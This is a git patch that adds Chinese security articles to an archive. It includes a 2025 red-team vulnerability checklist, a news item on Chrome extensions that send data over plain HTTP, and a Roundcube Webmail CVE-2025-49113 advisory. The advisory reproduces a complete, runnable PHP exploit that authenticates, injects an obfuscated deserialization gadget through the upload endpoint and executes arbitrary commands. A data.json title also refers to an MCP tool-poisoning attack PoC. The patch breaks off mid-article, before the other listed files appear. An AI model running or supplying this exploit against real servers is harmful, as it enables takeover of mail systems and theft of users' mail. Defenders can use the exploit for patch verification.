From f3a3e6bca353686b1fc0b773d2cf08d85a6d97bb Mon Sep 17 00:00:00 2001 From: test Date: Sat, 7 Jun 2025 12:36:00 +0000 Subject: [PATCH] =?UTF-8?q?CVE-2025-49113=EF=BD=9CRoundcube=20Webmail?= =?UTF-8?q?=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96=E6=BC=8F=E6=B4=9E=EF=BC=88?= =?UTF-8?q?POC=EF=BC=89=E3=80=81=E6=9D=AD=E5=B7=9E=E6=96=B0=E5=A8=81?= =?UTF-8?q?=E6=95=B0=E5=AD=97=E4=BF=A1=E6=81=AF-SMG=E7=BD=91=E5=85=B3?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E8=BD=AF=E4=BB=B6=209-12ping.php=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=20(CVE-2025-1448)?= =?UTF-8?q?=E3=80=81=E3=80=90=E5=B7=B2=E5=A4=8D=E7=8E=B0=E3=80=91Dataease?= =?UTF-8?q?=20JWT=20=E8=AE=A4=E8=AF=81=E7=BB=95=E8=BF=87=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E2=88=95=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C?= =?UTF-8?q?=EF=BC=88CVE-2025-49001=E2=88=95CVE-2025-49002=EF=BC=89?= =?UTF-8?q?=E3=80=81=E3=80=90=E6=94=BB=E9=98=B2=E5=AE=9E=E6=88=98=E3=80=91?= =?UTF-8?q?phpmyadmin-RCE=E9=9B=86=E9=94=A6=E3=80=81=E3=80=90=E5=AE=89?= =?UTF-8?q?=E5=85=A8=E5=9C=88=E3=80=91=E7=83=AD=E9=97=A8=20Chrome=20?= =?UTF-8?q?=E6=89=A9=E5=B1=95=E9=99=B7=20HTTP=20=E5=92=8C=E7=A1=AC?= =?UTF-8?q?=E7=BC=96=E7=A0=81=E5=AF=86=E9=92=A5=E5=8F=8C=E9=87=8D=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E3=80=812025=20HVV=E5=BF=85=E4=BF=AE=E9=AB=98?= =?UTF-8?q?=E5=8D=B1=E6=BC=8F=E6=B4=9E=E9=9B=86=E5=90=883=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 8 +- .../2025 HVV必修高危漏洞集合3.md | 70 +++ ...cube Webmail反序列化漏洞（POC）.md | 477 ++++++++++++++++++ ...陷 HTTP 和硬编码密钥双重漏洞.md | 128 +++++ ...（CVE-2025-49001∕CVE-2025-49002）.md | 85 ++++ .../【攻防实战】phpmyadmin-RCE集锦.md | 202 ++++++++ ....php 命令执行漏洞 (CVE-2025-1448).md | 112 ++++ 7 files changed, 1081 insertions(+), 1 deletion(-) create mode 100644 doc/2025-06/2025 HVV必修高危漏洞集合3.md create mode 100644 doc/2025-06/CVE-2025-49113｜Roundcube Webmail反序列化漏洞（POC）.md create mode 100644 doc/2025-06/【安全圈】热门 Chrome 扩展陷 HTTP 和硬编码密钥双重漏洞.md create mode 100644 doc/2025-06/【已复现】Dataease JWT 认证绕过漏洞∕远程代码执行（CVE-2025-49001∕CVE-2025-49002）.md create mode 100644 doc/2025-06/【攻防实战】phpmyadmin-RCE集锦.md create mode 100644 doc/2025-06/杭州新威数字信息-SMG网关管理软件 9-12ping.php 命令执行漏洞 (CVE-2025-1448).md diff --git a/data.json b/data.json index 8ef9fd5c..bc86a809 100644 --- a/data.json +++ b/data.json @@ -14905,5 +14905,11 @@ "https://mp.weixin.qq.com/s?__biz=MzkwODc1NTgyMg==&mid=2247485643&idx=1&sn=ec74894c3ce42e4b21fd19a407c54c24": "某景人事管理系统漏洞挖掘与分析", "https://mp.weixin.qq.com/s?__biz=MzU0MTc2NTExNg==&mid=2247492226&idx=1&sn=a5a57ba3077ab1eb8f5e4725a95a05fe": "从 SSRF 到 RCE：一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧", "https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247530523&idx=1&sn=eae1159f200e68098297acb465d5d4c8": "Anthropic MCP 中的漏洞：全模式中毒 + 机密泄露工具攻击（内含 PoC）", - "https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247488976&idx=1&sn=823dff2e68ba60b26f2a7c07d1c136f0": "电商网站 SSTI 漏洞利用：专业攻略" + "https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247488976&idx=1&sn=823dff2e68ba60b26f2a7c07d1c136f0": "电商网站 SSTI 漏洞利用：专业攻略", + "https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485975&idx=1&sn=a3a96fcfeca034089636e9a89ae83d48": "CVE-2025-49113｜Roundcube Webmail反序列化漏洞（POC）", + "https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491721&idx=1&sn=bca6974ea87562392f4e4f205edb8ece": "杭州新威数字信息-SMG网关管理软件 9-12ping.php 命令执行漏洞 (CVE-2025-1448)", + "https://mp.weixin.qq.com/s?__biz=MzkwMDc1MTM5Ng==&mid=2247484110&idx=1&sn=e7c3b3595ccf8ca433e1a2e4c2b81c46": "【已复现】Dataease JWT 认证绕过漏洞∕远程代码执行（CVE-2025-49001∕CVE-2025-49002）", + "https://mp.weixin.qq.com/s?__biz=Mzg5NTU2NjA1Mw==&mid=2247502951&idx=1&sn=fae4b38afc3c1eb2bfbc0e6f0c4db3d2": "【攻防实战】phpmyadmin-RCE集锦", + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070055&idx=3&sn=6b9ef71bf3e0c60b87ab26c126ce970f": "【安全圈】热门 Chrome 扩展陷 HTTP 和硬编码密钥双重漏洞", + "https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655281741&idx=1&sn=2975bc75e4e224aca1c0bfccb16aaa4e": "2025 HVV必修高危漏洞集合3" } \ No newline at end of file diff --git a/doc/2025-06/2025 HVV必修高危漏洞集合3.md b/doc/2025-06/2025 HVV必修高危漏洞集合3.md new file mode 100644 index 00000000..433c7d2c --- /dev/null +++ b/doc/2025-06/2025 HVV必修高危漏洞集合3.md @@ -0,0 +1,70 @@ +# 2025 HVV必修高危漏洞集合3 + 计算机与网络安全 2025-06-07 09:57 + +本次高危漏洞自查列表 +

漏洞名称

漏洞类型

所属厂商

影响版本

OpenSSH Server 远程代码执行漏洞


远程代码执行漏洞


OpenSSH

5.3.0 <= Apache Solr <  

8.11.4  

9.0.0 <= Apache Solr <  

9.7.0

PHP CGI 远程代码执

行漏洞

远程代码执行漏洞

PHP


PHP 8.3 < 8.3.8 

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29


H3C iMC byod 远程代

码执行漏洞

远程代码执行漏洞

H3C

H3C iMC


飞企互联 FE 企业运营

管理平台

ajax_codewidget39.jsp

接口存在 SQL 注入漏

洞

SQL 注入漏洞

飞企互联

飞企互联 FE 企业运营管

理平台

泛微 E Bridge 云桥任

意文件读取漏洞

任意文件读

取漏洞

泛微

泛微 E Bridge 

泛微 OA E-Cology  

action.jsp 任意文件上

传漏洞

任意文件上

传漏洞

泛微

e-cology

山石网科 Web 应用防

火墙（WAF）远程命

令执行漏洞

远程命令执

行漏洞

山石网科

5.5R6-2.6.7 ≤ version <  

5.5R6-2.8.14

金和 OA C6  

UploadFileEditor SQL

注入漏洞

SQL 注入漏

洞

金和

金和 OA 协同办公管理系

统

用友 NC 接口

/psnImage/download 存

在 SQL 注入漏洞

SQL 注入漏

洞

用友

NC63、

NC633、

NC65

赛蓝企业管理系统

GetImportDetailJson 存

在 SQL 注入漏洞

SQL 注入漏

洞

赛蓝

赛蓝企业管理系统

宏景 eHR-

showmedia.jsp 存在

SQL 注入漏洞

SQL 注入漏

洞

宏景

宏景 eHR

蓝凌 EKP 存在

sys_ui_component 远程

命令执行漏洞

远程命令执

行漏洞

蓝凌

蓝凌 EKP

海康 detection 远程命

令执行漏洞

远程命令执

行漏洞

海康威视

HiKVISION 综合安防管

理平台

JumpServer 存在远程

代码执行漏洞

远程代码执

行漏洞

JumpServer

v3.0.0 <= JumpServer <=  

v3.10.11

用友 NC FileManager  

任意文件上传漏洞

任意文件上

传漏洞

用友

用友 NC

用友 U8 Cloud 反序列

化 CacheInvokeServlet RCE

远程代码执

行漏洞

用友

用友 U8cloud

亿赛通电子文档安全

管理系统

SecureUsbConnection 

反序列化漏洞

反序列化漏

洞

亿赛通

亿赛通电子文档安全管理

系统

Apache OFBiz 远程代

码执行漏洞

远程代码执

行漏洞

Apache

Apache OFBiz： 至

18.12.14

+![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxLgZZYxCcwqDtYCZlRzptVzbKz9qcOI1BE5XHiaRVsx0pembDcEAlVOw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxhhlAU9QAOvnaE0HpiaHeYgFaxMXalIXmssPx9trFcdvAwclqhibeUu6g/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxjQTPkDV8iagFTUQPdkeSe7g5svPsWflwKBnc7AgiawBnhhc2au0lTPOQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxZXhytG90o0B65CwSlxeMKreA397OxHrMLR1rd5aLLaSuRqK8LAjQrA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxamr3VPXFrzkMJ7fulKbLVGCLiaPtcSWQutaW3TtxYTuu3FEg9nDq4fw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxfxhSP5jjGh43JD493DgiakDtZibuKupF39p3zBfmkGvLjN5Bvqrh85cA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxIXqfDKj8KhcgRFEQpLOo8Y8mFO2bfAqBfyy2iagNFkyvlWrpa3SuoeQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxv5TyQoibibJRpd637HcwhsvPnW2eDLZWcfiay7oXRkVBAZSrl6WYcfhWQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxMcJHHSoicrRQgqtjz238AsiaZec6v5PLGLwicNiacgrNMozDYdaGbicKgPg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxFjCB3lEuCC4iaYkibxBtpMzPicwBPd6PXOrwzR58nNRxOX7SnVgxhK8og/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxdicuNU8Gglb1y1CicaIskR8a7QeeB0L64K9Cwe7DUlmVWARr9dPOUEWQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxhZkh7YHN3N0icK0PEtGLGq05ibAgfaJHo0FgfTib8Rqfc74iaDmNSy34Yg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxl96lC2QdhlHbSLiczxz3vr6hHm55LHzYG6CeEKfBlR3BpS2Xe3tlGTQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxHCP7jH5RPGWZx1OibEQxRyuJibpU0cNMXQCq7XjEeH1sT41OZHg8lyDw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxwSiaggPmdhSYdULyZNUntB6fSLbbROxCGoyZYicpz2QbMS9rvdHibZueg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxLu3wHdRzKNTzoLhWIsFYVlEpbXll0XXYpJGbrcUlt6cqotsK2vJvXQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWx3TdegMWanibUl9xU4Stg9dAsMawy3Iia9DLibG3bZbXPOcibNkAf5Z5VOQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxvGJoBsC7IUtDeyXGYbWqGIou6vnMibW1jRW1Bb4lJ04zItd1vBndiaiaA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxBloaIwmk1TibhI0wpWb8gPKc16oyABicNYibdnkh76ichnnLBpmdQYBC9w/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxZaIGTBfKlUkSrLazvTRnib6QeHZHDLN4DCHg0jqg4g96aceT0HVencw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxb98FsmRricfnWxbnO5piaNJbNCtXnba1oYW6hibl8Bb4uMsHCOFDq1nnQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxYIiclaF5ak0M0Ho4Z8EKZ9iaJylpwlKnXUWBNCGbwv1muFGFdKXfvYMg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxy1qUTMdjQgp0bqC31ETy0Nicfc7liaJBZibV39tjjtlzqMloPyNib1CzEA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWxX0EdxCHIicmer8l1KViasKpSLT7qO3gFeAg1fd8Miaic7TEm17YxRsN8tw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odZCEZlUJVLfGVNObY3khWx9HWIffo3lZkZjqGt599a0jsHJrRV1ED2mDXfA29flVpib4KibeHOlfBQ/640?wx_fmt=png&from=appmsg "") + +**扫码加入知识星球****：** +**网络安全攻防（HVV）** + +**下载本篇和全套资料** + +**** +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/VcRPEU1K2ocrickwS8jlJmx9dm99x7cetyLS8ib43IBlZ9GpKnpibU4QV0ictAFUD0sudSt5FvXkqhPcfWSU1DgOXA/640?wx_fmt=jpeg "") +``` + +``` + +**|** +  +来源：斗象科技 + diff --git a/doc/2025-06/CVE-2025-49113｜Roundcube Webmail反序列化漏洞（POC）.md b/doc/2025-06/CVE-2025-49113｜Roundcube Webmail反序列化漏洞（POC）.md new file mode 100644 index 00000000..b8f819f3 --- /dev/null +++ b/doc/2025-06/CVE-2025-49113｜Roundcube Webmail反序列化漏洞（POC）.md @@ -0,0 +1,477 @@ +# CVE-2025-49113｜Roundcube Webmail反序列化漏洞（POC） +alicy 信安百科 2025-06-07 10:50 + +**0x00 前言** + + +Roundcube Webmail是一个开源的基于web的电子邮件客户端，旨在提供用户友好的界面和强大的功能，使用户能够通过web浏览器方便地访问和管理他们的电子邮件。 + + +Roundcube支持标准的邮件协议（如IMAP和SMTP），并提供了许多常见的邮件功能，如收发邮件、管理联系人、创建日历事件等。其界面简洁直观，易于使用，同时还支持插件扩展，用户可以根据自己的需求定制功能。 + + +Roundcube Webmail被广泛应用于个人用户、企业和组织，为他们提供了一个方便、安全的电子邮件管理解决方案。 + + + +**0x01 漏洞描述** + + +在program/actions/settings/upload.php文件中没有对 _from参数进行验证，导致允许 +经过身份验证的用户 +触发反序列化，执行远程代码。 + + + +**0x02 CVE编号** + + +CVE-2025-49113 + + + +**0x03 影响版本** + + +Roundcube Webmail <1.5.10 + +1.6.0<= Roundcube Webmail <1.6.11 + + + +**0x04 漏洞详情** + + +POC： + +https://github.com/fearsoff-org/CVE-2025-49113 +``` + $argv + * @return void + */ +function main(array $argv): void +{ +    message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]'); + +    if (count($argv) < 5) { +        message( +            sprintf( +                'Usage: php %s ', +                basename(__FILE__) +            ), +            1 +        ); +    } + +    [$_, $targetUrl, $username, $password, $command] = $argv; + +    try { +        validateUrl($targetUrl); + +        // Initial request to get CSRF token and starting session cookies +        [$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl); + +        // Authenticate using the initial cookie +        $sessionCookie = authenticate( +            $targetUrl, +            $username, +            $password, +            $csrfToken, +            $initialCookie +        ); + +        message("Command to be executed: \n" . $command); + +        // Prepare and inject payload +        [$payloadName, $payloadFile] = calcPayload($command); +        injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile); + +        // Trigger and cleanup +        executePayload($targetUrl, $sessionCookie); + +        message('Exploit executed successfully'); +    } catch (\Exception $e) { +        message('Error: ' . $e->getMessage(), 1); +    } +} + +// ----------------------------------------------------------------------------- +// Helper functions +// ----------------------------------------------------------------------------- + +/** + * Validates the target URL. + * + * @param string $url + * @throws \Exception + */ +function validateUrl(string $url): void +{ +    if (false === filter_var($url, FILTER_VALIDATE_URL)) { +        throw new \Exception('Invalid target URL: ' . $url); +    } +} + +/** + * Retrieves CSRF token and session cookie from initial GET. + * + * @param string $targetUrl + * @return array{string, string} [urlencoded csrf token, initial cookie string] + * @throws RuntimeException If request fails or token missing + */ +function fetchCsrfTokenAndCookie(string $targetUrl): array +{ +    message('Retrieving CSRF token and session cookie...'); + +    $context = stream_context_create(['http' => ['method' => 'GET']]); +    $body = @file_get_contents($targetUrl . '/', false, $context); +    if (false === $body) { +        throw new \RuntimeException('Failed to fetch initial page for CSRF token'); +    } + +    $rawHeaders = $http_response_header ?? []; +    $headersStr = implode("\r\n", $rawHeaders); + +    $token  = getToken($body); +    $cookie = getCookie($headersStr); + +    return [$token, $cookie]; +} + +/** + * Authenticates to Roundcube and returns the updated session cookie. + * + * @param string $targetUrl + * @param string $user + * @param string $pass + * @param string $token + * @param string $cookie Existing cookie from initial request + * @return string Combined session cookie + * @throws RuntimeException on authentication failure + */ +function authenticate( +    string $targetUrl, +    string $user, +    string $pass, +    string $token, +    string $cookie +): string { +    message("Authenticating user: {$user}"); + +    $postData = http_build_query([ +        '_token'    => $token, +        '_task'     => 'login', +        '_action'   => 'login', +        '_timezone' => '_default_', +        '_url'      => '_task=login', +        '_user'     => $user, +        '_pass'     => $pass, +    ]); + +    $headers = [ +        'Content-Type: application/x-www-form-urlencoded', +        "Cookie: {$cookie}", +    ]; + +    $context = stream_context_create([ +        'http' => [ +            'method'          => 'POST', +            'header'          => implode("\r\n", $headers), +            'content'         => $postData, +            'follow_location' => 0, +        ], +    ]); + +    $body = @file_get_contents($targetUrl . '/?_task=login', false, $context); +    $respHeaders = implode("\r\n", $http_response_header ?? []); + +    if (false === $body || !preg_match('#HTTP/\d+\.\d+\s+302#', $respHeaders)) { +        throw new \RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response')); +    } + +    message('Authentication successful'); + +    return getCookie($respHeaders); +} + +/** + * Injects the malicious payload via the user settings upload endpoint. + * + * @param string $targetUrl + * @param string $cookie + * @param string $payloadName + * @param string $payloadFile + * @return void + * @throws \Exception + */ +function injectPayload(string $targetUrl, string $cookie, string $payloadName, string $payloadFile): void +{ +    message('Injecting payload...'); + +    $boundary = '------a_rule_for_WAF_to_block_fool_exploitation'; + +    $multipart = implode("\r\n", [ +        '--' . $boundary, +        'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"', +        'Content-Type: image/png', +        '', +        base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'), +        '--' . $boundary . '--', +    ]); + +    $headers = implode("\r\n", [ +        'X-Requested-With: XMLHttpRequest', +        'Content-Type: multipart/form-data; boundary=' . $boundary, +        'Cookie: ' . $cookie, +    ]); + +    $context = stream_context_create([ +        'http' => [ +            'method'  => 'POST', +            'header'  => $headers, +            'content' => $multipart, +        ], +    ]); + +    $url = sprintf( +        '%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload', +        $targetUrl, +        urlencode($payloadName) +    ); + +    message('End payload: ' . $url); + +    $response = @file_get_contents($url, false, $context); +    if (false === $response || strpos($response, 'preferences_time') === false) { +        throw new \Exception('Payload injection failed, got: ' . ($response ?: 'no response')); +    } + +    message('Payload injected successfully'); +} + +/** + * Triggers execution of the injected payload by serializing session data. + * + * @param string $targetUrl + * @param string $cookie + * @return void + */ +function executePayload(string $targetUrl, string $cookie): void +{ +    message('Executing payload...'); +    $token = getToken( +        file_get_contents( +            $targetUrl . '/', +            false, +            stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]]) +        ) +    ); + +    file_get_contents( +        sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token), +        false, +        stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]]) +    ); +} + +/** + * Extracts and encodes the CSRF token from response body. + * + * @param string $body HTTP response body + * @return string URL-encoded token + * @throws RuntimeException If token is not found + */ +function getToken(string $body): string +{ +    if (preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis', $body, $matches)) { +        return rawurlencode($matches[1]); +    } + +    throw new \RuntimeException('CSRF token not found in response body'); +} + +/** + * Aggregates Set-Cookie headers into a single cookie string. + * + * @param string $headers Raw HTTP headers + * @param string $existing Any existing cookie string to preserve + * @return string Concatenated cookies + */ +function getCookie(string $headers, string $existing = ''): string +{ +    $cookies = []; + +    if (preg_match_all('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) { +        foreach ($matches as [$full, $key, $value]) { +            if ($value === '-del-') { +                continue; +            } +            $cookies[] = sprintf('%s=%s', $key, $value); +        } +    } + +    return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : ''); +} + +/** + * Magic is happening here + */ +function calcPayload($cmd){ + +class Crypt_GPG_Engine{ +private $_gpgconf; + +function __construct($cmd){ +$this->_gpgconf = $cmd.';#'; + } + } + +$payload = serialize(new Crypt_GPG_Engine($cmd)); +$payload = process_serialized($payload) . 'i:0;b:0;'; +$append = strlen(12 + strlen($payload)) - 2; +$_from = '!";i:0;'.$payload.'}";}}'; +$_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\\"a:3:{i:0;s:'.(56 + $append).':\\".png'; + +$_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation + +return [$_from, $_file]; +} + +/** + * PHPGGC magic + */ +function process_serialized($serialized, $full = false){ +$new = ''; +$last = 0; +$current = 0; +$pattern = '#\bs:([0-9]+):"#'; + +while( +$current < strlen($serialized) && +preg_match( +$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current + ) + ) + { +$p_start = $matches[0][1]; +$p_start_string = $p_start + strlen($matches[0][0]); +$length = $matches[1][0]; +$p_end_string = $p_start_string + $length; + +if(!( +strlen($serialized) > $p_end_string + 2 && +substr($serialized, $p_end_string, 2) == '";' + )) + { +$current = $p_start_string; +continue; + } +$string = substr($serialized, $p_start_string, $length); + +$clean_string = ''; +for($i=0; $i < strlen($string); $i++) + { +$letter = $string[$i]; +            if($full || !ctype_print($letter) || $letter == '\\' || $letter == '|' || $letter == '.' /* rc spec */) +$letter = sprintf("\\%02x", ord($letter)); + +$clean_string .= $letter; + } + +$new .=  +substr($serialized, $last, $p_start - $last) . +'S:' . $matches[1][0] . ':"' . $clean_string . '";' + ; +$last = $p_end_string + 2; +$current = $last; + } + +$new .= substr($serialized, $last); +return $new; +} + +/** + * Prints a formatted message and optionally exits. + * + * @param string  $text     Message to print + * @param int     $exitCode Exit code (0 to continue) + * @return void + */ +function message(string $text, int $exitCode = 0): void +{ +    echo '### ' . $text . PHP_EOL . PHP_EOL; + +    if ($exitCode !== 0) { +        exit($exitCode); +    } +} + +main($argv); +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Whm7t4Je6urD15dpTSAunnpELKUK6HCMZkWQOsoRL1fGUwwtibWHDoW3Ut0uyPaP6HEg7mREyt2sW9Tfaew8tnw/640?wx_fmt=png&from=appmsg "") + + + +**0x05 参考链接** + + +https://github.com/roundcube/roundcubemail/pull/9865 + + +https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10 + + + + +推荐阅读： + + +[CVE-2025-22252｜FortiOS TACACS+身份认证绕过漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485965&idx=1&sn=2c5e56f8ac01bcec1470c9404078f910&scene=21#wechat_redirect) + + + +[CVE-2025-41225｜VMware vCenter Server认证命令执行漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485965&idx=2&sn=7232cafb03fec2e869598e3a44b90dc9&scene=21#wechat_redirect) + + + +[CVE-2025-24893｜XWiki Platform远程代码执行漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485957&idx=2&sn=3f11cfc79888e16fa78d309e708d0df0&scene=21#wechat_redirect) + + + + + +Ps：国内外安全热点分享，欢迎大家分享、转载，请保证文章的完整性。文章中出现敏感信息和侵权内容，请联系作者删除信息。信息安全任重道远，感谢您的支持 +![](https://mmbiz.qpic.cn/mmbiz_png/Whm7t4Je6urTIficI8UhQibwpYWx4ic7Bk40AJlXrgx3icofWCbd5cbJFheld132R8exvlHnicn0AUjHLmVok4wV9qA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +！！！ + + +**本公众号的文章及工具仅提供学习参考，由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责,本公众号及文章作者不为此承担任何责任。** + +![](https://mmbiz.qpic.cn/mmbiz_png/Whm7t4Je6uqQ24S6worK6npevNP8p1uPc9jQeMAib2iaibBnibOzFaIbD0KlvsEtUAmL3xdbJJnWk74Y1KfBcIazzw/640?wx_fmt=png "") + + diff --git a/doc/2025-06/【安全圈】热门 Chrome 扩展陷 HTTP 和硬编码密钥双重漏洞.md b/doc/2025-06/【安全圈】热门 Chrome 扩展陷 HTTP 和硬编码密钥双重漏洞.md new file mode 100644 index 00000000..164ea809 --- /dev/null +++ b/doc/2025-06/【安全圈】热门 Chrome 扩展陷 HTTP 和硬编码密钥双重漏洞.md @@ -0,0 +1,128 @@ +# 【安全圈】热门 Chrome 扩展陷 HTTP 和硬编码密钥双重漏洞 + 安全圈 2025-06-07 11:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +漏洞 + + +![可用- Chrome](https://mmbiz.qpic.cn/sz_mmbiz_jpg/aBHpjnrGylhAjbiaATZKkd97aY46PjkJkPmiagq5noddlvCGrWLDicicOXRv6l8ibXUdceT4TegQQGTxZEOe0iaLbQ0A/640?wx_fmt=jpeg&from=appmsg "") + + +网络安全研究人员发现多款热门谷歌Chrome扩展存在严重安全隐患：**通过HTTP明文传输数据并在代码中硬编码密钥，导致用户隐私与安全面临风险。** +赛门铁克安全技术响应团队研究员指出：“数款广泛使用的扩展通过未加密的HTTP协议传输敏感数据，以明文形式暴露浏览域名、设备ID、操作系统信息、使用分析数据乃至卸载记录。” + + +这种未加密的网络流量使其极易遭受中间人攻击（AitM）。恶意攻击者可在公共Wi-Fi等开放网络中拦截甚至篡改数据，引发更严重后果。以下为存在风险的扩展清单： + + +**HTTP传输漏洞扩展** + +****- **SEMRush Rank** +（ID: idbhoeaiokcojcgappfigpifhpkjgmab）与**PI Rank** +（ID: ccgdboldgdlngcgfdolahmiilojmfndl）：通过HTTP调用“rank.trellian[.]com” + +- **Browsec VPN** +（ID: omghfjlpggmjjaagoclmmobgdodcjboh）：卸载时通过HTTP访问卸载链接 + +- **MSN新标签页** +（ID: lklfbkdigihjaaeamncibechhgalldgl）与**MSN主页、必应搜索与新闻** +（ID: midiombanaceofjhodpdibeppmnamfcj）：通过HTTP向“g.ceipmsn[.]com”发送设备唯一标识符 + +- **DualSafe密码管理器与数字保险库** +（ID: 